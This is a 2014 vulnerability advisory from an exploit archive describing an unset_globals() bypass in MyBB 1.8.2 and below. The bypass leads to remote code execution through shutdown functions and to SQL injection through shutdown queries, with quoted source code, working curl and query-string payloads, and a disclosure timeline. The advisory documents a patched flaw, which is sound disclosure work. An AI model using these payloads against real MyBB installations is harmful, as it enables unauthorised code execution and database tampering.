what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB 1.8.2 unset_globals() Bypass / Remote Code Execution

MyBB 1.8.2 unset_globals() Bypass / Remote Code Execution
Posted Nov 26, 2014
Authored by Taoguang Chen

MyBB versions 1.8.2 and below suffer from an unset_globals() function bypass and remote code execution vulnerabilities.

tags | exploit, remote, vulnerability, code execution, bypass
SHA-256 | a691b9b40b1b09c878c6dabf004797b5a74ac29c49123dfae6aadb61bdba3161

MyBB 1.8.2 unset_globals() Bypass / Remote Code Execution

Change Mirror Download
#MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code
Execution Vulnerability

Taoguang Chen <[@chtg57](twitter.com/chtg57)> - 2014.11.21

> MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

##I. MyBB's unset_globals() Function Bypass

When PHP's register\_globals configuration set on, MyBB will call
unset\_globals() function, all global variables registered by PHP from
$\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed.

```
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}

foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
unset($GLOBALS[$key]); // Double unset to circumvent the
zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
}
}
```

But unset\_globals() function can be bypassed.

###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed

```
foo.php?_COOKIE=1
// $_GET['_COOKIE']
```

When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy
$GLOBALS['\_COOKIE'].

```
$this->unset_globals($_GET);
...
}
...
function unset_globals($array)
{
...
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
```

This means $\_COOKIE array will be destroyed. This also means all
global variables registered by PHP from $\_COOKIE array will be
destroyed because them will not be handled by unset().

```
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
```

By the same token, if $\_GET or $\_FILES array was destroyed via
unset\_globals(), the corresponding global variables registered by PHP
will not be destroyed.

###ii) $GLOBALS Array was Destroyed

```
foo.php?GLOBALS=1
// $_GET['GLOBALS']
```

When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy
$GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.

$GLOBALS array is a automatic global variable, and binding with global
symbol table, you can use $GLOBALS['key'] to access or control a
global variable in all scopes throughout a script. This means that the
binding between the $GLOBALS array and the global symbol table will be
broken because $GLOBALS array has been destroyed. This also means all
variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays
will not be destroyed.

By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or
$\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS
array, then the corresponding global variables registered by PHP will
not be destroyed.

In fact, MyBB is already aware of the problem:

```
$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES",
"_ENV", "GLOBALS");
foreach($protected as $var)
{
if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}
```

Unfortunately, there is a small hole yet:-)

$\_REQUEST is an associative array that by default contains mix of
$\_GET, $\_POST, and $\_COOKIE arrays data.

But PHP >= 5.3 introduced request\_order configuration, the directive
affects the contents of $\_REQUEST array.

```
request_order = "GP"
```

This is recommended setting in php.ini. Set it to "GP" means only
$\_GET and $\_POST arrays data is merged into $\_REQUEST array without
$\_COOKIE array data.

So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass
unset\_globals() function in PHP 5.3.

##II. Remote Code Execution Vulnerability

There is one interesting method in MyBB:

```
class MyBB {
...
function __destruct()
{
// Run shutdown function
if(function_exists("run_shutdown"))
{
run_shutdown();
}
}
}
```

Look into run\_shutdown() function:

```
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler,
$shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// Run any shutdown functions if we have them
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as $function)
{
call_user_func_array($function['function'], $function['arguments']);
}
}

$done_shutdown = true;
}
```

The $shutdown\_functions was initialized via add\_shutdown() function
in init.php:

```
// Set up any shutdown functions we need to run globally
add_shutdown('send_mail_queue');
```

But add\_shutdown() function initialization handler is wrong:

```
function add_shutdown($name, $arguments=array())
{
global $shutdown_functions;

if(!is_array($shutdown_functions))
{
$shutdown_functions = array();
}

if(!is_array($arguments))
{
$arguments = array($arguments);
}

if(is_array($name) && method_exists($name[0], $name[1]))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
else if(!is_array($name) && function_exists($name))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}

return false;
}
```

In the above code we see that run\_shutdown() function is vulnerable
because $shutdown\_functions is initialized correctly and therefore
result in arbitrary code execution.

##III. Proof of Concept

When request\_order = "GP" and register\_globals = On, remote code
execution by just using curl on the command line:

```
$ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo;
shutdown_functions[0][arguments][]=-1" http://www.target/
```

##IV. P.S.I

**Another case to exploit the vulnerability:**

When PHP's "disable\_functions" configuration directive disable
ini\_get() function:

```
disable_functions = ini_get
```

The unset\_globals() function will not be called that regardless of
register\_globals set on or off.

```
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
```

**Proof of Concept**

Works on disable\_functions = ini\_get and register\_globals = On:

```
index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
```

##V. P.S.II

**SQL injection vulnerability via run\_shutdown() function**

```
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler,
$shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// We have some shutdown queries needing to be run
if(is_array($shutdown_queries))
{
// Loop through and run them all
foreach($shutdown_queries as $query)
{
$db->query($query);
}
}
```

The $shutdown\_queries was initialized in global.php:

```
$shutdown_queries = array();
```

But not all files are included global.php, such as css.php:

```
require_once "./inc/init.php";
```

There is not included global.php, and $shutdown\_queries is
uninitialized, with the result that there is a SQL injection
vulnerability.

**Proof of Concept**

Works on request\_order = "GP" and register\_globals = On:

```
$ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj"
http://www.target/css.php
```

Works on disable\_functions = ini\_get and register\_globals = On:

```
css.php?shutdown_queries[]=SQL_Inj
```

##VI. Disclosure Timeline

* 2014.03.06 - Notified the MyBB devs via security contact form
* 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum
because no reply
* 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16
* 2014.11.21 - Public Disclosure


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close